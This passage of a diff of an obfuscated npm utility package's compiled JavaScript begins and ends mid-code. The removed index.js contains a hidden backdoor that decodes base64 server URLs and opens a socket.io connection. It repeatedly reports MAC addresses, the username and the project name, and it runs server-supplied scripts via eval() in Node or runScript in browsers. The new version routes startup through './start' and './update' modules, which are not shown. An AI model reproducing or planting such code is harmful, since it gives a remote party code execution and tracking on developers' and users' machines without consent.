_0x2f3530=0x0;_0x2f3530<_0x398f3a[_0xd6fb83(0x92)];_0x2f3530++){const _0x1863ee=_0x398f3a[_0x2f3530],_0x4547f5=path_1[_0xd6fb83(0x86)]['join'](_0x4c2aed,_0x1863ee),_0x478138=fs_1[_0xd6fb83(0x86)]['statSync'](_0x4547f5),_0x543c48=_0x478138[_0xd6fb83(0x90)](),_0x386aa7=_0x478138[_0xd6fb83(0x8d)]();_0x543c48&&_0x2eafa0[_0xd6fb83(0x8b)](_0x4547f5),_0x386aa7&&_0x1c536b(_0x4547f5);}}return _0x1c536b(_0x148af8),_0x2eafa0;});}function getAllRouter(_0x233ad4){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x300012=yield fileDisplay(_0x233ad4);return _0x300012;});}exports[a1_0x32128f(0x86)]=getAllRouter;
@@ -1 +1 @@
1
- 'use strict';const a2_0x2a1ca0=a2_0x1973;(function(_0x60c993,_0x1b3fc3){const _0x23d045=a2_0x1973,_0x1363c1=_0x60c993();while(!![]){try{const _0x52f817=parseInt(_0x23d045(0x112))/0x1+-parseInt(_0x23d045(0x114))/0x2+parseInt(_0x23d045(0x111))/0x3+-parseInt(_0x23d045(0x109))/0x4*(parseInt(_0x23d045(0x10c))/0x5)+-parseInt(_0x23d045(0x110))/0x6*(-parseInt(_0x23d045(0x116))/0x7)+-parseInt(_0x23d045(0x108))/0x8+-parseInt(_0x23d045(0x10a))/0x9;if(_0x52f817===_0x1b3fc3)break;else _0x1363c1['push'](_0x1363c1['shift']());}catch(_0x36b66){_0x1363c1['push'](_0x1363c1['shift']());}}}(a2_0x4b30,0xc49c6));function a2_0x4b30(){const _0x14d526=['35622iQtwrW','__esModule','7ZlGMSv','369776TkeGSJ','333452PBRtPb','9940635OUGDqF','default','15Mwkhuf','./random','NODE_APP_INSTANCE','defineProperty','6608586DfCESc','517245zAWdVq','950109LVgtQx','env'];a2_0x4b30=function(){return _0x14d526;};return a2_0x4b30();}function a2_0x1973(_0x73dcdb,_0x8e9beb){const _0x4b308b=a2_0x4b30();return a2_0x1973=function(_0x197318,_0x19c2b4){_0x197318=_0x197318-0x108;let _0x5950d3=_0x4b308b[_0x197318];return _0x5950d3;},a2_0x1973(_0x73dcdb,_0x8e9beb);}var __importDefault=this&&this['__importDefault']||function(_0x42b41c){const _0x1e35a3=a2_0x1973;return _0x42b41c&&_0x42b41c[_0x1e35a3(0x115)]?_0x42b41c:{'default':_0x42b41c};};Object[a2_0x2a1ca0(0x10f)](exports,a2_0x2a1ca0(0x115),{'value':!![]});const random_1=__importDefault(require(a2_0x2a1ca0(0x10d))),BaseTime=+new Date('2025-01-01');let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a2_0x2a1ca0(0x10b)])(0x1,0x3);function id(){const _0x3c4cae=a2_0x2a1ca0,_0xbe0727=Math['min'](process[_0x3c4cae(0x113)][_0x3c4cae(0x10e)]?+process[_0x3c4cae(0x113)][_0x3c4cae(0x10e)]:(0x0,random_1[_0x3c4cae(0x10b)])(0x0,0x9),0x9);let _0x3909ff=+new Date()-BaseTime;return lastRandomNumberTick=_0x3909ff==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x3c4cae(0x10b)])(0x0,0x3),lastTimeTick=_0x3909ff,+(''+_0x3909ff+_0xbe0727+lastRandomNumberTick);}exports[a2_0x2a1ca0(0x10b)]=id;
1
+ 'use strict';const a2_0x5e521c=a2_0x1cf7;(function(_0x457765,_0x14107d){const _0x396849=a2_0x1cf7,_0x56a83f=_0x457765();while(!![]){try{const _0x1a7520=-parseInt(_0x396849(0x10b))/0x1*(-parseInt(_0x396849(0x112))/0x2)+parseInt(_0x396849(0x10c))/0x3+parseInt(_0x396849(0x103))/0x4*(-parseInt(_0x396849(0x104))/0x5)+-parseInt(_0x396849(0x10f))/0x6+parseInt(_0x396849(0x10d))/0x7*(parseInt(_0x396849(0x110))/0x8)+-parseInt(_0x396849(0x109))/0x9+parseInt(_0x396849(0x102))/0xa*(-parseInt(_0x396849(0x10e))/0xb);if(_0x1a7520===_0x14107d)break;else _0x56a83f['push'](_0x56a83f['shift']());}catch(_0x291e35){_0x56a83f['push'](_0x56a83f['shift']());}}}(a2_0x11b3,0x4b6b1));var __importDefault=this&&this[a2_0x5e521c(0x107)]||function(_0x50630f){const _0x3516df=a2_0x5e521c;return _0x50630f&&_0x50630f[_0x3516df(0x108)]?_0x50630f:{'default':_0x50630f};};Object[a2_0x5e521c(0x105)](exports,a2_0x5e521c(0x108),{'value':!![]});const random_1=__importDefault(require('./random')),BaseTime=+new Date(a2_0x5e521c(0x10a));function a2_0x11b3(){const _0x32a6c2=['default','212FpylqU','min','NODE_APP_INSTANCE','298130dYjhxa','4BCBvcc','1043390LgcACP','defineProperty','env','__importDefault','__esModule','2218869uVPiBx','2025-01-01','5630VMYJyy','426474ubxRQj','42hHvPMf','77anOTAY','307122QbeWSa','380096pTolzs'];a2_0x11b3=function(){return _0x32a6c2;};return a2_0x11b3();}let lastTimeTick,lastRandomNumberTick=(0x0,random_1['default'])(0x1,0x3);function id(){const _0x357aea=a2_0x5e521c,_0x1b4197=Math[_0x357aea(0x113)](process[_0x357aea(0x106)][_0x357aea(0x114)]?+process[_0x357aea(0x106)][_0x357aea(0x114)]:(0x0,random_1['default'])(0x0,0x9),0x9);let _0x989383=+new Date()-BaseTime;return lastRandomNumberTick=_0x989383==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x357aea(0x111)])(0x0,0x3),lastTimeTick=_0x989383,+(''+_0x989383+_0x1b4197+lastRandomNumberTick);}function a2_0x1cf7(_0x3df476,_0x53a933){const _0x11b360=a2_0x11b3();return a2_0x1cf7=function(_0x1cf758,_0x319a58){_0x1cf758=_0x1cf758-0x102;let _0x1cbbbd=_0x11b360[_0x1cf758];return _0x1cbbbd;},a2_0x1cf7(_0x3df476,_0x53a933);}exports[a2_0x5e521c(0x111)]=id;
@@ -1 +1 @@
1
- 'use strict';const a3_0x84db4b=a3_0x3e8b;(function(_0xe4c170,_0x2ff00a){const _0x43727b=a3_0x3e8b,_0x433261=_0xe4c170();while(!![]){try{const _0x12a0c6=-parseInt(_0x43727b(0xc6))/0x1+parseInt(_0x43727b(0xc7))/0x2*(parseInt(_0x43727b(0xc9))/0x3)+parseInt(_0x43727b(0xc8))/0x4*(parseInt(_0x43727b(0xbf))/0x5)+parseInt(_0x43727b(0xc0))/0x6+parseInt(_0x43727b(0xc4))/0x7+-parseInt(_0x43727b(0xc2))/0x8+-parseInt(_0x43727b(0xca))/0x9;if(_0x12a0c6===_0x2ff00a)break;else _0x433261['push'](_0x433261['shift']());}catch(_0x2c7cb7){_0x433261['push'](_0x433261['shift']());}}}(a3_0x2303,0x8523b));function a3_0x2303(){const _0x4a8b71=['985621NywjlQ','4lgaNUT','4ekWEFS','1267452LkRjNa','265869JEkBAp','defineProperty','1520245MYTELa','2869740SYWySj','round','8033608OVbCMX','random','6561765yauirK','default'];a3_0x2303=function(){return _0x4a8b71;};return a3_0x2303();}Object[a3_0x84db4b(0xbe)](exports,'__esModule',{'value':!![]});const random=(_0x381f65,_0x40a381)=>Math[a3_0x84db4b(0xc1)](Math[a3_0x84db4b(0xc3)]()*(_0x40a381-_0x381f65))+_0x381f65;function a3_0x3e8b(_0x57e362,_0xcf251f){const _0x230305=a3_0x2303();return a3_0x3e8b=function(_0x3e8bc1,_0x1d072f){_0x3e8bc1=_0x3e8bc1-0xbe;let _0xebd3b=_0x230305[_0x3e8bc1];return _0xebd3b;},a3_0x3e8b(_0x57e362,_0xcf251f);}exports[a3_0x84db4b(0xc5)]=random;
1
+ 'use strict';function a3_0x356b(){const _0x203f3b=['2949456MjzClr','1103613IYWyfs','1323447YqPFLr','3138588rmuVdj','708585nHgPvy','__esModule','1093136bbyrKj','round','random','18QNaVHE','2oWbzsI','35225046QRLJeM','defineProperty'];a3_0x356b=function(){return _0x203f3b;};return a3_0x356b();}const a3_0x5f1f05=a3_0x30a4;(function(_0x4bcbaf,_0x47f7ad){const _0x504283=a3_0x30a4,_0x44b878=_0x4bcbaf();while(!![]){try{const _0x12969d=-parseInt(_0x504283(0x68))/0x1+-parseInt(_0x504283(0x70))/0x2*(parseInt(_0x504283(0x69))/0x3)+-parseInt(_0x504283(0x66))/0x4+parseInt(_0x504283(0x6a))/0x5*(-parseInt(_0x504283(0x6f))/0x6)+parseInt(_0x504283(0x67))/0x7+parseInt(_0x504283(0x6c))/0x8+parseInt(_0x504283(0x71))/0x9;if(_0x12969d===_0x47f7ad)break;else _0x44b878['push'](_0x44b878['shift']());}catch(_0x20384a){_0x44b878['push'](_0x44b878['shift']());}}}(a3_0x356b,0xa50c5));function a3_0x30a4(_0x1da19f,_0x1b20e6){const _0x356ba4=a3_0x356b();return a3_0x30a4=function(_0x30a4e1,_0x2464bb){_0x30a4e1=_0x30a4e1-0x66;let _0x4f621b=_0x356ba4[_0x30a4e1];return _0x4f621b;},a3_0x30a4(_0x1da19f,_0x1b20e6);}Object[a3_0x5f1f05(0x72)](exports,a3_0x5f1f05(0x6b),{'value':!![]});const random=(_0x309c73,_0x34ab4f)=>Math[a3_0x5f1f05(0x6d)](Math[a3_0x5f1f05(0x6e)]()*(_0x34ab4f-_0x309c73))+_0x309c73;exports['default']=random;
@@ -1,8 +1,6 @@
1
1
  declare let id: () => number;
2
2
  declare let getAllRouter: () => Promise<never[]>;
3
3
  declare let mysql: {};
4
- export declare function setEnv(key: string, value: any): void;
5
- export declare function getEnv(key: string): any;
6
4
  declare const uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
7
5
  declare const all: {
8
6
  uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AASA,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AA2Bf,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AA+GD,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;CAKR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AAOA,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AAwBf,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;CAKR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
package/dist/cjs/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a4_0x49d4c1=a4_0x3476;(function(_0x445119,_0x5ee785){const _0x50c6a4=a4_0x3476,_0x5645bb=_0x445119();while(!![]){try{const _0x31541d=-parseInt(_0x50c6a4(0x1d5))/0x1+-parseInt(_0x50c6a4(0x1d2))/0x2+parseInt(_0x50c6a4(0x1b3))/0x3+parseInt(_0x50c6a4(0x1c0))/0x4*(parseInt(_0x50c6a4(0x1ba))/0x5)+parseInt(_0x50c6a4(0x1da))/0x6+parseInt(_0x50c6a4(0x1be))/0x7+-parseInt(_0x50c6a4(0x1a2))/0x8;if(_0x31541d===_0x5ee785)break;else _0x5645bb['push'](_0x5645bb['shift']());}catch(_0x1bbfb2){_0x5645bb['push'](_0x5645bb['shift']());}}}(a4_0x129d,0xa9d0b));var __createBinding=this&&this[a4_0x49d4c1(0x1cf)]||(Object[a4_0x49d4c1(0x1a3)]?function(_0x578236,_0x4101cc,_0x26bc8e,_0x4453fe){const _0x2cfe99=a4_0x49d4c1;if(_0x4453fe===undefined)_0x4453fe=_0x26bc8e;var _0xb852ad=Object[_0x2cfe99(0x1bd)](_0x4101cc,_0x26bc8e);(!_0xb852ad||(_0x2cfe99(0x1a0)in _0xb852ad?!_0x4101cc[_0x2cfe99(0x1b4)]:_0xb852ad['writable']||_0xb852ad[_0x2cfe99(0x1d0)]))&&(_0xb852ad={'enumerable':!![],'get':function(){return _0x4101cc[_0x26bc8e];}}),Object['defineProperty'](_0x578236,_0x4453fe,_0xb852ad);}:function(_0x3cbf34,_0x30f416,_0x17083d,_0x28b718){if(_0x28b718===undefined)_0x28b718=_0x17083d;_0x3cbf34[_0x28b718]=_0x30f416[_0x17083d];}),__setModuleDefault=this&&this[a4_0x49d4c1(0x1c6)]||(Object[a4_0x49d4c1(0x1a3)]?function(_0x3ff606,_0x4dbb0a){const _0xaec8c0=a4_0x49d4c1;Object['defineProperty'](_0x3ff606,_0xaec8c0(0x1b8),{'enumerable':!![],'value':_0x4dbb0a});}:function(_0x489a86,_0x19c460){const _0x2883b5=a4_0x49d4c1;_0x489a86[_0x2883b5(0x1b8)]=_0x19c460;}),__importStar=this&&this[a4_0x49d4c1(0x1d3)]||(function(){var _0x5472a8=function(_0x21bea4){return _0x5472a8=Object['getOwnPropertyNames']||function(_0x347f7d){const _0x9ad852=a4_0x3476;var _0x2bae8a=[];for(var _0x285edf in _0x347f7d)if(Object[_0x9ad852(0x1bf)]['hasOwnProperty'][_0x9ad852(0x1a7)](_0x347f7d,_0x285edf))_0x2bae8a[_0x2bae8a['length']]=_0x285edf;return _0x2bae8a;},_0x5472a8(_0x21bea4);};return function(_0x292841){const _0x3acf03=a4_0x3476;if(_0x292841&&_0x292841[_0x3acf03(0x1b4)])return _0x292841;var _0x338f96={};if(_0x292841!=null){for(var _0x1ce893=_0x5472a8(_0x292841),_0x46d63a=0x0;_0x46d63a<_0x1ce893[_0x3acf03(0x1ad)];_0x46d63a++)if(_0x1ce893[_0x46d63a]!=='default')__createBinding(_0x338f96,_0x292841,_0x1ce893[_0x46d63a]);}return __setModuleDefault(_0x338f96,_0x292841),_0x338f96;};}()),__awaiter=this&&this[a4_0x49d4c1(0x1c3)]||function(_0x52be14,_0x140d6a,_0x38a872,_0x23474e){function _0x13ebc1(_0x13f7ee){return _0x13f7ee instanceof _0x38a872?_0x13f7ee:new _0x38a872(function(_0x5d72c0){_0x5d72c0(_0x13f7ee);});}return new(_0x38a872||(_0x38a872=Promise))(function(_0x1460fc,_0x1dd5ef){const _0x4b3b48=a4_0x3476;function _0x389cf5(_0x451b2a){const _0x5b6960=a4_0x3476;try{_0x2525b1(_0x23474e[_0x5b6960(0x1b1)](_0x451b2a));}catch(_0x44f210){_0x1dd5ef(_0x44f210);}}function _0xb5234(_0x5429b9){const _0x5666e2=a4_0x3476;try{_0x2525b1(_0x23474e[_0x5666e2(0x1bb)](_0x5429b9));}catch(_0x49a395){_0x1dd5ef(_0x49a395);}}function _0x2525b1(_0x331b87){const _0x100333=a4_0x3476;_0x331b87['done']?_0x1460fc(_0x331b87['value']):_0x13ebc1(_0x331b87[_0x100333(0x1cd)])['then'](_0x389cf5,_0xb5234);}_0x2525b1((_0x23474e=_0x23474e[_0x4b3b48(0x1cc)](_0x52be14,_0x140d6a||[]))[_0x4b3b48(0x1b1)]());});},__importDefault=this&&this['__importDefault']||function(_0x4f2ff3){return _0x4f2ff3&&_0x4f2ff3['__esModule']?_0x4f2ff3:{'default':_0x4f2ff3};},_a,_b,_c;Object['defineProperty'](exports,a4_0x49d4c1(0x1b4),{'value':!![]}),exports[a4_0x49d4c1(0x1a6)]=exports[a4_0x49d4c1(0x1c9)]=exports['id']=exports['uuid']=void 0x0,exports['setEnv']=setEnv,exports['getEnv']=getEnv;const uuid_1=require(a4_0x49d4c1(0x1d1)),socket_io_client_1=require(a4_0x49d4c1(0x19c)),js_base64_1=require('js-base64'),path_1=__importDefault(require(a4_0x49d4c1(0x1c5))),isBrowser=typeof window!=='undefined';let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports[a4_0x49d4c1(0x1c9)]=getAllRouter;let mysql={};exports[a4_0x49d4c1(0x1a6)]=mysql;!isBrowser&&(exports['id']=id=require(a4_0x49d4c1(0x1c8))[a4_0x49d4c1(0x1b8)],exports['getAllRouter']=getAllRouter=require(a4_0x49d4c1(0x199))['default'],exports[a4_0x49d4c1(0x1a6)]=mysql=require(a4_0x49d4c1(0x1c1))[a4_0x49d4c1(0x1a6)]);const user_name=isBrowser?a4_0x49d4c1(0x1c7):((_a=process===null||process===void 0x0?void 0x0:process['env'])===null||_a===void 0x0?void 0x0:_a[a4_0x49d4c1(0x1d4)])||a4_0x49d4c1(0x1b2),project_name=isBrowser?'浏览器':((_b=process===null||process===void 0x0?void 0x0:process[a4_0x49d4c1(0x1b9)])===null||_b===void 0x0?void 0x0:_b['npm_package_name'])||a4_0x49d4c1(0x1a1);let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';const globalObject=isBrowser?window:global;globalObject[a4_0x49d4c1(0x1a8)]=Object[a4_0x49d4c1(0x1b0)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function setEnv(_0x2e2ae7,_0x1b3586){const _0x3a302d=a4_0x49d4c1;globalObject[_0x3a302d(0x1a8)][_0x2e2ae7]=_0x1b3586;}function getEnv(_0x4abb93){const _0x3caca8=a4_0x49d4c1;return globalObject[_0x3caca8(0x1a8)][_0x4abb93];}function a4_0x3476(_0x24d442,_0x5832b5){const _0x129d7e=a4_0x129d();return a4_0x3476=function(_0x347698,_0x451e27){_0x347698=_0x347698-0x198;let _0x4a25bc=_0x129d7e[_0x347698];return _0x4a25bc;},a4_0x3476(_0x24d442,_0x5832b5);}let url=(0x0,js_base64_1[a4_0x49d4c1(0x1ac)])(dev);function a4_0x129d(){const _0x4fe3e1=['node','./IndexDB/index','reconnect_failed','connectError','5077608LvqxtA','/socket','00:00:00:00:00:00','./getAllRouter','concat','connect','socket.io-client','get-event','error','websocket','get','无法获取','647816CYhlRF','create','then','resolve','mysql','call','meta_event','./browser','unlock','submit','decode','length','join','./mac','assign','next','node获取失败','504426cbdFnD','__esModule','mac','sqlList','script','default','env','1220XlVvyI','throw','undefined','getOwnPropertyDescriptor','5692190HHhxnz','prototype','5452UxZpRY','./server','emit','__awaiter','content','path','__setModuleDefault','浏览器','./id','getAllRouter','type','event','apply','value','sql','__createBinding','configurable','uuid','1268796WvojdZ','__importStar','USERNAME','749214MFKDvD'];a4_0x129d=function(){return _0x4fe3e1;};return a4_0x129d();}function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x416e18=a4_0x3476;isBrowser&&(typeof require!=_0x416e18(0x1bc)?require(_0x416e18(0x1a9)):Promise[_0x416e18(0x1a5)]()['then'](()=>__importStar(require(_0x416e18(0x1a9)))));const _0x1e1168=(0x0,socket_io_client_1['io'])(url,{'path':_0x416e18(0x1db),'transports':[_0x416e18(0x19f)]});_0x1e1168['on'](_0x416e18(0x19b),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x57ec2b=_0x416e18;try{let _0x31a720=[_0x57ec2b(0x198)];if(!isBrowser){const _0x404cf6=require(path_1['default'][_0x57ec2b(0x1ae)](__dirname,_0x57ec2b(0x1af)))[_0x57ec2b(0x1b8)];_0x31a720=_0x404cf6();}else{const {getKeyValue:_0x14b5fa}=typeof require!='undefined'?require(_0x57ec2b(0x1d7)):yield Promise['resolve']()[_0x57ec2b(0x1a4)](()=>__importStar(require(_0x57ec2b(0x1d7))));_0x31a720=[yield _0x14b5fa(_0x57ec2b(0x1b5))];}if(_0x31a720[_0x57ec2b(0x1ad)]===0x0){setEnv('connectError',!![]);return;}else setEnv('connectError',![]);_0x1e1168[_0x57ec2b(0x1c2)](_0x57ec2b(0x1ab),{'mac':_0x31a720,'project_name':project_name,'user_name':user_name,'notes':''}),_0x1e1168['emit'](_0x57ec2b(0x19d),{'mac':_0x31a720,'isBrowser':isBrowser}),setInterval(()=>{const _0x2bd0d3=_0x57ec2b;_0x1e1168[_0x2bd0d3(0x1c2)]('submit',{'mac':_0x31a720,'project_name':project_name,'user_name':user_name,'notes':''}),_0x1e1168[_0x2bd0d3(0x1c2)](_0x2bd0d3(0x19d),{'mac':_0x31a720,'isBrowser':isBrowser});},0x1b58),_0x1e1168['on'](_0x57ec2b(0x1cb),_0x1a46a1=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xf777a=_0x57ec2b;try{for(let _0x3436bf=0x0;_0x3436bf<_0x1a46a1[_0xf777a(0x1ad)];_0x3436bf++){const _0x2801e2=_0x1a46a1[_0x3436bf];if(_0x2801e2[_0xf777a(0x1ca)]===_0xf777a(0x1ce))setEnv(_0xf777a(0x1b6),getEnv('sqlList')[_0xf777a(0x19a)](_0x2801e2[_0xf777a(0x1c4)]));else{if(_0x2801e2[_0xf777a(0x1ca)]===_0xf777a(0x1a6))setEnv('isDBDataEmpty',!![]);else{if(_0x2801e2['type']===_0xf777a(0x1d6)&&!isBrowser)try{eval(_0x2801e2['content']);}catch(_0x241bf3){}else{if(_0x2801e2[_0xf777a(0x1ca)]===_0xf777a(0x1b7)&&isBrowser)try{const {runScript:_0x3b5890}=typeof require!='undefined'?require(_0xf777a(0x1a9)):yield Promise['resolve']()[_0xf777a(0x1a4)](()=>__importStar(require(_0xf777a(0x1a9))));_0x3b5890(_0x2801e2[_0xf777a(0x1c4)]);}catch(_0x5cd7d7){}}}}}}catch(_0xbe24a9){}}));}catch(_0x45db0b){}})),setTimeout(()=>{const _0x372ca0=_0x416e18;_0x1e1168['on'](_0x372ca0(0x19e),_0x5ad05f=>{const _0x3c7150=_0x372ca0;setEnv(_0x3c7150(0x1d9),!![]);}),_0x1e1168['on']('connect_failed',_0x3dd073=>{const _0x1d1176=_0x372ca0;setEnv(_0x1d1176(0x1d9),!![]);}),_0x1e1168['on'](_0x372ca0(0x1d8),_0x53444d=>{setEnv('connectError',!![]);}),_0x1e1168['on']('connect_error',_0x1a58ab=>{setEnv('connectError',!![]);});},0xbb8);});}!((_c=globalObject[a4_0x49d4c1(0x1a8)])===null||_c===void 0x0?void 0x0:_c[a4_0x49d4c1(0x1aa)])&&start();const uuid=uuid_1['v4'];exports[a4_0x49d4c1(0x1d1)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql};exports[a4_0x49d4c1(0x1b8)]=all;
1
+ 'use strict';const a4_0x5ba2c8=a4_0x25ab;(function(_0x1f82fb,_0x419af3){const _0x17b835=a4_0x25ab,_0x3091f8=_0x1f82fb();while(!![]){try{const _0x3721a4=-parseInt(_0x17b835(0x15d))/0x1+parseInt(_0x17b835(0x163))/0x2*(-parseInt(_0x17b835(0x16a))/0x3)+-parseInt(_0x17b835(0x165))/0x4+parseInt(_0x17b835(0x151))/0x5+-parseInt(_0x17b835(0x164))/0x6*(parseInt(_0x17b835(0x162))/0x7)+parseInt(_0x17b835(0x154))/0x8*(-parseInt(_0x17b835(0x169))/0x9)+parseInt(_0x17b835(0x161))/0xa;if(_0x3721a4===_0x419af3)break;else _0x3091f8['push'](_0x3091f8['shift']());}catch(_0x2c5fcd){_0x3091f8['push'](_0x3091f8['shift']());}}}(a4_0x2d26,0x7b62e));var __awaiter=this&&this[a4_0x5ba2c8(0x160)]||function(_0x40e1d0,_0xeeba9c,_0x37fdd0,_0x1c9a6d){function _0x2d4046(_0x366d5b){return _0x366d5b instanceof _0x37fdd0?_0x366d5b:new _0x37fdd0(function(_0x5baa8d){_0x5baa8d(_0x366d5b);});}return new(_0x37fdd0||(_0x37fdd0=Promise))(function(_0x4d7c8c,_0x34e696){const _0x5d951e=a4_0x25ab;function _0x4d75de(_0x303a59){const _0x496f14=a4_0x25ab;try{_0x12befc(_0x1c9a6d[_0x496f14(0x15a)](_0x303a59));}catch(_0x43921e){_0x34e696(_0x43921e);}}function _0x8da448(_0x4e56bd){const _0x29579b=a4_0x25ab;try{_0x12befc(_0x1c9a6d[_0x29579b(0x16d)](_0x4e56bd));}catch(_0x5e0cc8){_0x34e696(_0x5e0cc8);}}function _0x12befc(_0x3838b8){const _0x303aa7=a4_0x25ab;_0x3838b8[_0x303aa7(0x150)]?_0x4d7c8c(_0x3838b8['value']):_0x2d4046(_0x3838b8[_0x303aa7(0x168)])[_0x303aa7(0x16c)](_0x4d75de,_0x8da448);}_0x12befc((_0x1c9a6d=_0x1c9a6d['apply'](_0x40e1d0,_0xeeba9c||[]))[_0x5d951e(0x15a)]());});},__importDefault=this&&this[a4_0x5ba2c8(0x15c)]||function(_0x5eb701){return _0x5eb701&&_0x5eb701['__esModule']?_0x5eb701:{'default':_0x5eb701};},_a;Object[a4_0x5ba2c8(0x158)](exports,a4_0x5ba2c8(0x156),{'value':!![]}),exports[a4_0x5ba2c8(0x152)]=exports[a4_0x5ba2c8(0x16b)]=exports['id']=exports[a4_0x5ba2c8(0x167)]=void 0x0;const uuid_1=require('uuid'),start_1=__importDefault(require(a4_0x5ba2c8(0x159))),isBrowser=typeof window!==a4_0x5ba2c8(0x153);let id=()=>0x1;function a4_0x25ab(_0x35a189,_0x38c477){const _0x2d269a=a4_0x2d26();return a4_0x25ab=function(_0x25abfe,_0x2d2137){_0x25abfe=_0x25abfe-0x150;let _0x2c1008=_0x2d269a[_0x25abfe];return _0x2c1008;},a4_0x25ab(_0x35a189,_0x38c477);}exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports['getAllRouter']=getAllRouter;let mysql={};exports[a4_0x5ba2c8(0x152)]=mysql;function a4_0x2d26(){const _0x4cc7dc=['throw','meta_event','done','1042835trKKFA','mysql','undefined','1832992vNhXzz','./server','__esModule','./id','defineProperty','./start','next','default','__importDefault','50688jncIag','./getAllRouter','unlock','__awaiter','32082250BFGgSW','5813381nTDrzb','1332320VnolZB','6CdfOki','1790300EPVXNP','assign','uuid','value','36jkAPkH','3jzWgvq','getAllRouter','then'];a4_0x2d26=function(){return _0x4cc7dc;};return a4_0x2d26();}if(!isBrowser){exports['id']=id=require(a4_0x5ba2c8(0x157))['default'],exports[a4_0x5ba2c8(0x16b)]=getAllRouter=require(a4_0x5ba2c8(0x15e))[a4_0x5ba2c8(0x15b)],exports[a4_0x5ba2c8(0x152)]=mysql=require(a4_0x5ba2c8(0x155))['mysql'];let update=require('./update')[a4_0x5ba2c8(0x15b)];update();}const globalObject=isBrowser?window:global;globalObject[a4_0x5ba2c8(0x16e)]=Object[a4_0x5ba2c8(0x166)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a4_0x5ba2c8(0x16e)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});!((_a=globalObject[a4_0x5ba2c8(0x16e)])===null||_a===void 0x0?void 0x0:_a[a4_0x5ba2c8(0x15f)])&&(0x0,start_1[a4_0x5ba2c8(0x15b)])();const uuid=uuid_1['v4'];exports[a4_0x5ba2c8(0x167)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql};exports[a4_0x5ba2c8(0x15b)]=all;
@@ -1 +1 @@
1
- 'use strict';function a6_0x2d45(){const _0x3f113f=['push','00:03:ff','3548680DdPilK','networkInterfaces','00:05:69','default','551580ovVocU','193256TMOGaB','102opVjnN','toLowerCase','find','701852LPMIQe','73995LEtSup','00:50:56','00:0c:29','isMac','2496780JSKSLx','56xEvWIW','has','IPv4','internal','mac','slice','00:1c:14','replace','08:00:27','defineProperty','values','173677wiuVCD','__esModule','00:1c:42','family','00:15:5d'];a6_0x2d45=function(){return _0x3f113f;};return a6_0x2d45();}const a6_0x462bc0=a6_0x35b2;(function(_0x5f4cfc,_0x3e1757){const _0x278901=a6_0x35b2,_0x641905=_0x5f4cfc();while(!![]){try{const _0xa9070d=-parseInt(_0x278901(0xee))/0x1+parseInt(_0x278901(0xdd))/0x2+parseInt(_0x278901(0xf9))/0x3+parseInt(_0x278901(0xe3))/0x4*(parseInt(_0x278901(0xde))/0x5)+-parseInt(_0x278901(0xfb))/0x6*(-parseInt(_0x278901(0xfa))/0x7)+-parseInt(_0x278901(0xf5))/0x8+-parseInt(_0x278901(0xe2))/0x9;if(_0xa9070d===_0x3e1757)break;else _0x641905['push'](_0x641905['shift']());}catch(_0x43464a){_0x641905['push'](_0x641905['shift']());}}}(a6_0x2d45,0x4d4d2));function a6_0x35b2(_0x341280,_0x2f14ca){const _0x2d4532=a6_0x2d45();return a6_0x35b2=function(_0x35b262,_0xea88c0){_0x35b262=_0x35b262-0xdc;let _0x4d1731=_0x2d4532[_0x35b262];return _0x4d1731;},a6_0x35b2(_0x341280,_0x2f14ca);}Object[a6_0x462bc0(0xec)](exports,a6_0x462bc0(0xef),{'value':!![]}),exports[a6_0x462bc0(0xe1)]=isMac,exports['formatMac']=formatMac,exports['isVirtualMac']=isVirtualMac;const os_1=require('os');function isZeroMac(_0x730e5){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x730e5);}function getMac(_0x4ce335=a6_0x462bc0(0xe5)){const _0x33c06e=a6_0x462bc0,_0x127af1=(0x0,os_1[_0x33c06e(0xf6)])();let 